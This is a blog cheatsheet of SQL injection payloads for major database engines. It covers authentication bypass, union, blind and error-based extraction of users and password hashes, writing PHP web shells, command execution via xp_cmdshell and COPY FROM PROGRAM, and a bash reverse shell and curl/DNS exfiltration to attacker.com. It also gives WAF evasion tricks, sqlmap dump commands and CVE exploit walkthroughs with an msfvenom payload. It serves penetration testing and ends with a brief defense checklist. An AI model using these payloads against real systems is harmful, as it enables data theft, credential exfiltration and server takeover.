SQL Injection Cheatsheet: Complete Payload Reference & WAF Bypass Guide | Tağmaç - root@Tagoletta:~#

SQL Injection Cheatsheet: Complete Payload Reference & WAF Bypass Guide

Thu May 28 2026

Category: Cheatsheet

Scope: This cheatsheet covers detection, extraction, bypass, and exploitation techniques for SQL Injection across all major database engines. For a real-world chained exploitation example, see the CVE-2023-38890 writeup.


Quick Detection

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' OR 1=1/*
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 100-- (error = column count exceeded)
1 AND 1=1
1 AND 1=2

Observe: error messages, response length changes, timing differences, behavioral differences between true/false conditions.


Authentication Bypass

admin'--
admin'/*
' OR 1=1--
' OR '1'='1'--
') OR ('1'='1
' OR 'x'='x
1' OR '1'='1
anything' OR 'x'='x
' OR 1=1 LIMIT 1--
admin' OR '1'='1'#

Union-Based Extraction

Step 1: Find Column Count

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--       -- keep going until you get an error
' ORDER BY 100--     -- error = too many columns

-- Alternative: NULL probe
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Step 2: Find Printable Columns

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Step 3: Extract Data

-- MySQL
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT group_concat(username,':',password SEPARATOR '\n'),NULL FROM users--

-- PostgreSQL
' UNION SELECT username||':'||password,NULL FROM users--
' UNION SELECT string_agg(table_name,','),NULL FROM information_schema.tables--

-- MSSQL
' UNION SELECT username+':'+password,NULL FROM users--

-- Oracle (requires FROM dual)
' UNION SELECT username||':'||password,NULL FROM users--

Error-Based Extraction

MySQL

' AND extractvalue(1,concat(0x7e,(SELECT version())))--
' AND updatexml(1,concat(0x7e,(SELECT user())),1)--
' AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT database()),0x3a,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND exp(~(SELECT * FROM (SELECT user())x))--

PostgreSQL

' AND 1=CAST((SELECT version()) AS int)--
' AND 1=(SELECT 1 FROM (SELECT COUNT(*),(SELECT table_name FROM information_schema.tables LIMIT 1))x GROUP BY 2)--
1::int=(SELECT 1 WHERE 1=CAST((SELECT current_user) AS int))

MSSQL

' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
'; SELECT * FROM openrowset('SQLOLEDB','';'sa';'pass','SELECT 1')--

Oracle

' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1))--
' AND 1=(SELECT UPPER(XMLType(chr(60)||chr(58)||(SELECT user FROM dual)||chr(62))) FROM dual)--

Boolean-Based Blind

-- True condition (page loads normally)
' AND 1=1--
' AND 'a'='a'--

-- False condition (page changes / empty)
' AND 1=2--
' AND 'a'='b'--

-- Extract data character by character
' AND substring((SELECT version()),1,1)='5'--
' AND substring((SELECT database()),1,1)='a'--
' AND (SELECT count(*) FROM users)>0--
' AND (SELECT substring(password,1,1) FROM users WHERE username='admin')='a'--

-- MySQL
' AND mid((SELECT user()),1,1)='r'--
' AND ascii(substring((SELECT user()),1,1))>100--

-- PostgreSQL
' AND substr((SELECT current_user),1,1)='p'--

-- Binary search (faster)
' AND ascii(substring((SELECT user()),1,1))>64--   -- A = 65
' AND ascii(substring((SELECT user()),1,1))>96--   -- a = 97
' AND ascii(substring((SELECT user()),1,1))=114--  -- 'r'

Time-Based Blind

MySQL / MariaDB

' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(ascii(substring((SELECT user()),1,1))=114,SLEEP(5),0)--
' AND IF((SELECT count(*) FROM users)>0,SLEEP(5),0)--
1; SELECT SLEEP(5)--
' OR SLEEP(5)='

PostgreSQL

'; SELECT pg_sleep(5)--
' AND (SELECT pg_sleep(5)) IS NOT NULL--
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 FROM pg_sleep(5)) END)--
' AND 1=(SELECT CASE WHEN (ascii(substr((SELECT current_user),1,1))=112) THEN (SELECT 1 FROM pg_sleep(5)) ELSE 1 END)--

MSSQL

'; WAITFOR DELAY '0:0:5'--
' IF (1=1) WAITFOR DELAY '0:0:5'--
' IF (ascii(substring((SELECT @@version),1,1))=77) WAITFOR DELAY '0:0:5'--
'; BEGIN WAITFOR DELAY '0:0:5' END--

Oracle

' AND 1=(SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)=1)--
' OR 1=DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)--
' AND 1=1 AND DBMS_LOCK.SLEEP(5)--

SQLite

-- SQLite has no SLEEP(), use heavy queries
' AND 1=1 AND (SELECT count(*) FROM sqlite_master,sqlite_master x,sqlite_master y)>0--
' UNION SELECT 1,hex(zeroblob(100000000))--  (causes delay via heavy computation)

Database Enumeration

MySQL

-- Version & info
SELECT @@version;
SELECT @@global.version_compile_os;
SELECT user();
SELECT current_user();
SELECT database();
SELECT @@datadir;
SELECT @@hostname;

-- All databases
SELECT schema_name FROM information_schema.schemata;
SELECT distinct(db) FROM mysql.db;

-- Tables in current DB
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT table_name FROM information_schema.tables WHERE table_schema='targetdb';

-- Columns
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users';

-- All users and password hashes
SELECT user,password,host FROM mysql.user;
SELECT user,authentication_string FROM mysql.user;

PostgreSQL

-- Version & info
SELECT version();
SELECT current_database();
SELECT current_user;
SELECT pg_read_file('/etc/passwd');         -- superuser only
SELECT inet_server_addr(), inet_server_port();

-- All databases
SELECT datname FROM pg_database;

-- Tables
SELECT tablename FROM pg_tables WHERE schemaname='public';
SELECT table_name FROM information_schema.tables WHERE table_schema='public';

-- Columns
SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users';

-- Users
SELECT usename,passwd FROM pg_shadow;       -- superuser only
SELECT usename,usesuper FROM pg_user;

MSSQL

-- Version & info
SELECT @@version;
SELECT db_name();
SELECT system_user;
SELECT user_name();
SELECT host_name();
SELECT @@servername;

-- Is sysadmin?
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT IS_MEMBER('db_owner');

-- All databases
SELECT name FROM master..sysdatabases;
SELECT name FROM sys.databases;

-- Tables
SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE';
SELECT name FROM sysobjects WHERE xtype='U';

-- Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- Linked servers
SELECT name FROM sys.servers;
EXEC sp_linkedservers;

Oracle

-- Version & info
SELECT banner FROM v$version WHERE rownum=1;
SELECT * FROM v$version;
SELECT user FROM dual;
SELECT ora_database_name FROM dual;
SELECT global_name FROM global_name;

-- All tables accessible
SELECT table_name FROM all_tables;
SELECT table_name FROM user_tables;     -- owned tables only

-- Columns
SELECT column_name,data_type FROM all_tab_columns WHERE table_name='USERS';

-- Users
SELECT username,password FROM dba_users;  -- DBA only
SELECT username FROM all_users;

SQLite

-- Schema
SELECT name,sql FROM sqlite_master WHERE type='table';
SELECT name FROM sqlite_master WHERE type='table';

-- Version
SELECT sqlite_version();

-- Tables
SELECT tbl_name FROM sqlite_master WHERE type='table';

-- Dump table
SELECT * FROM users;

Stacked Queries

Supported by: MSSQL, PostgreSQL, SQLite — limited/context-dependent in MySQL.

-- MSSQL
'; INSERT INTO users(username,password) VALUES('hax','hax')--
'; UPDATE users SET password='hax' WHERE username='admin'--
'; DROP TABLE users--
'; CREATE TABLE pwned(data nvarchar(max))--

-- PostgreSQL
'; CREATE TABLE pwn_output(data text)--
'; COPY pwn_output FROM PROGRAM 'id'--

-- MySQL (rarely enabled)
'; SELECT SLEEP(5)--

File Read & Write

MySQL

-- Read (requires FILE privilege + secure_file_priv='' or matching path)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2f6574632f706173737764);  -- hex-encoded path
SELECT hex(LOAD_FILE('/var/www/html/config.php'));

-- Write
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT 0x3c3f706870 INTO DUMPFILE '/var/www/html/shell.php';
SELECT char(60,63,112,104,112,...) INTO OUTFILE '/var/www/html/shell.php';

PostgreSQL

-- Read (superuser only)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/passwd', 0, 10000);
SELECT convert_from(pg_read_binary_file('/etc/passwd'),'UTF8');

-- Write (via COPY TO)
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

MSSQL

-- Read
BULK INSERT temp FROM 'C:\Windows\win.ini' WITH (ROWTERMINATOR='\n');
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS t;

-- Write (via xp_cmdshell)
EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php';

RCE via SQL

MSSQL — xp_cmdshell

-- Enable (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'powershell -nop -w hidden -e <base64_payload>';
EXEC xp_cmdshell 'curl http://attacker.com/shell.exe -o C:\Windows\Temp\s.exe && C:\Windows\Temp\s.exe';

-- Via stored procedure
'; EXEC xp_cmdshell('whoami')--

-- If xp_cmdshell disabled, re-enable via stacked query
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell('id')--

PostgreSQL — COPY FROM PROGRAM

-- RCE (PostgreSQL 9.3+, requires superuser)
DROP TABLE IF EXISTS cmd_out;
CREATE TABLE cmd_out (data text);
COPY cmd_out FROM PROGRAM 'id';
SELECT * FROM cmd_out;

-- Direct reverse shell
COPY cmd_out FROM PROGRAM 'bash -i >& /dev/tcp/attacker.com/4444 0>&1';

-- Via stacked query in SQLi
'; DROP TABLE IF EXISTS t; CREATE TABLE t(x text); COPY t FROM PROGRAM ''id''; SELECT * FROM t--

MySQL — User-Defined Function (UDF)

-- Check plugin dir
SELECT @@plugin_dir;
SELECT @@secure_file_priv;

-- Upload UDF shared library (need write + FILE privilege)
SELECT lo_import('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_sys.so';
SELECT sys_exec('id > /tmp/pwn.txt');

-- sqlmap automates this:
-- sqlmap -u "..." --os-shell

Out-of-Band (OOB) Data Exfiltration

MySQL DNS OOB

-- Requires LOAD_FILE + DNS resolution
SELECT load_file(concat('\\\\', (SELECT version()), '.attacker.com\\test'));
SELECT load_file(concat(0x5c5c5c5c, (SELECT hex(password) FROM users LIMIT 1), 0x2e61747461636b65722e636f6d5c5c61));

-- Using INTO OUTFILE to UNC path (Windows MSSQL)
SELECT 'test' INTO OUTFILE '\\\\attacker.com\\share\\out.txt';

MSSQL DNS OOB

EXEC master..xp_dirtree '\\attacker.com\test';
EXEC master..xp_fileexist '\\attacker.com\test';
EXEC master..xp_subdirs '\\attacker.com\test';

-- With data exfil
DECLARE @host varchar(1000);
SET @host = (SELECT top 1 password FROM users);
EXEC('master..xp_dirtree ''\\' + @host + '.attacker.com\a''');

PostgreSQL OOB

-- Via COPY + curl
COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?x='||(SELECT current_user)||'';
COPY (SELECT '') TO PROGRAM 'nslookup '||(SELECT current_database())||'.attacker.com';

-- Via dblink (if installed)
SELECT dblink_connect('host='||(SELECT current_user)||'.attacker.com user=x password=x dbname=x');

WAF Bypass Techniques

Case Variation

SeLeCt, sElEcT, UNION, uNiOn, UnIoN
uNiOn aLl sElEcT nUlL--

Whitespace & Space Alternatives

SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users     -- tab
SELECT%0ausername%0aFROM%0ausers     -- newline
SELECT%0dusername%0dFROM%0ausers     -- carriage return
SELECT%0cusername%0cFROM%0ausers     -- form feed
(SELECT(username)FROM(users))

Comment Injection

UN/**/ION SEL/**/ECT 1,2,3
/*!50000SELECT*/username FROM users
/*! UNION *//*! SELECT */1,2,3
U%0ANION%0ASELECT 1,2,3

URL & Double Encoding

%55NION %53ELECT → UNION SELECT
%2555NION %2553ELECT → (double encoded)
%u0055NION → UNION (IIS Unicode)

String Obfuscation

-- MySQL
concat(0x61,0x64,0x6d,0x69,0x6e)   → 'admin'
char(97,100,109,105,110)             → 'admin'
0x61646d696e                         → 'admin'

-- PostgreSQL
chr(97)||chr(100)||chr(109)||chr(105)||chr(110)   → 'admin'

-- MSSQL
char(97)+char(100)+char(109)+char(105)+char(110)  → 'admin'

Keyword Splitting

SEL<script>ECT     -- in some HTML-context WAFs
UN%00ION           -- null byte injection
'||'UNION'||'      -- concatenation to reform keyword

HTTP Tricks

-- Parameter pollution
GET /page?id=1&id=2 UNION SELECT 1,2,3--

-- Chunked transfer (bypasses some WAFs)
Transfer-Encoding: chunked

-- Multipart with SQLi in filename
Content-Disposition: form-data; name="file"; filename="' UNION SELECT 1,2,3--"

Second-Order SQLi

Payload stored safely → later used in a different unsafe context:

Registration step: username = admin'--
                              ↓
Login query later: SELECT * FROM users WHERE username='admin'--' AND pass='x'
                   becomes: SELECT * FROM users WHERE username='admin'

Real-world targets: profile update, password reset, search history, order tracking.


JSON Field SQLi

-- MySQL JSON_EXTRACT
SELECT * FROM users WHERE JSON_EXTRACT(data,'$.role') = '1' OR 1=1--

-- PostgreSQL JSONB
SELECT * FROM users WHERE data->>'role' = 'user' OR '1'='1'--
SELECT * FROM logs WHERE data->'user'->>'id' = '1 UNION SELECT 1--'

-- MariaDB JSON_VALUE
SELECT * FROM t WHERE JSON_VALUE(col,'$.x') = '1' OR 1=1--

Stored Procedure Injection

-- MSSQL
EXEC dbo.SearchUsers ''; EXEC xp_cmdshell('id')--

-- MySQL
CALL SearchUsers('' UNION SELECT user(),2--);

-- PostgreSQL
SELECT SearchUsers(E'\' UNION SELECT current_user,2--');

Truncation Attack

Target: apps that truncate input before storing:

Register with username: "admin                                   x"
App stores:             "admin" (after trim)
Login bypasses unique check for actual admin

Tools

Tool Use Case Command
sqlmap Automated detection & exploitation sqlmap -u "http://target/?id=1" --dbs --batch
ghauri Modern sqlmap alternative ghauri -u "http://target/?id=1" --dbs
bbqsql Blind SQLi framework bbqsql
havij GUI-based (legacy)
NoSQLMap NoSQL injection python nosqlmap.py

sqlmap Common Flags

# Detection
sqlmap -u "http://target.com/page?id=1"

# With cookies
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"

# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=1"

# Full dump
sqlmap -u "http://target.com/?id=1" --dump-all --batch

# OS shell
sqlmap -u "http://target.com/?id=1" --os-shell

# Specify DB engine
sqlmap -u "http://target.com/?id=1" --dbms=mysql

# Tamper scripts (WAF bypass)
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase

# Level & risk
sqlmap -u "http://target.com/?id=1" --level=5 --risk=3

Real-World Examples

CVE-2023-38890 — Online Shopping Portal 3.1 (SQLi → RCE)

Login bypass via stacked queries, then xp_cmdshell for RCE:

# Auth bypass
POST /login.php
username=admin'-- -&password=anything

# Data extraction
GET /search.php?q=1' UNION SELECT username,password,3 FROM users-- -

# RCE via stacked queries + xp_cmdshell (MSSQL backend)
POST /product.php?id=1;EXEC+xp_cmdshell('whoami')--

Full writeup: CVE-2023-38890


CVE-2021-27928 — MariaDB wsrep_provider RCE

# Create malicious .so file (reverse shell)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f elf-so > /tmp/shell.so

# Upload via SQLi (INTO DUMPFILE)
' UNION SELECT 0x<hex_of_shell_so> INTO DUMPFILE '/tmp/shell.so'-- -

# Trigger via SET GLOBAL (requires FILE + SUPER privilege)
SET GLOBAL wsrep_provider="/tmp/shell.so";

CVE-2012-2122 — MySQL Auth Bypass

Memcmp timing flaw: ~1/256 chance of success per attempt.

# Brute force auth bypass (run ~300 times)
for i in $(seq 1 300); do
  mysql -u root -pwrongpassword 2>/dev/null && echo "LOGGED IN at attempt $i" && break
done

HTB: Union (CTF Example)

# 1. Find injection point
GET /index.php?id=1'-- -  → error reveals SQLi

# 2. Column count
GET /index.php?id=1 ORDER BY 4-- -

# 3. Union-based extraction
GET /index.php?id=0 UNION SELECT 1,2,3,4-- -
GET /index.php?id=0 UNION SELECT 1,user(),3,4-- -
GET /index.php?id=0 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -

# 4. Write web shell via INTO OUTFILE
GET /index.php?id=0 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4 INTO OUTFILE '/var/www/html/shell.php'-- -

# 5. RCE
curl "http://target.htb/shell.php?cmd=id"

HackerOne — Shopify SQLi (2018, $15,000)

# Partner API endpoint - numeric ID not sanitized
GET /api/partner/merchant/1337' ORDER BY 1--

# Boolean blind detection
GET /api/partner/merchant/1337' AND 1=1--  (200 OK)
GET /api/partner/merchant/1337' AND 1=2--  (500 Error)

# sqlmap to dump
sqlmap -u "https://partners.shopify.com/api/merchant/1337*" \
  --cookie="session=..." --dbms=mysql --dump

Defense Checklist

  • Use parameterized queries / prepared statements — no string concatenation
  • Apply least-privilege DB accounts (no FILE, no xp_cmdshell, no superuser)
  • Whitelist allowed characters for input fields
  • Enable WAF with SQLi rule sets
  • Keep DB error messages off in production
  • Use ORM frameworks that handle escaping (but audit raw queries)

References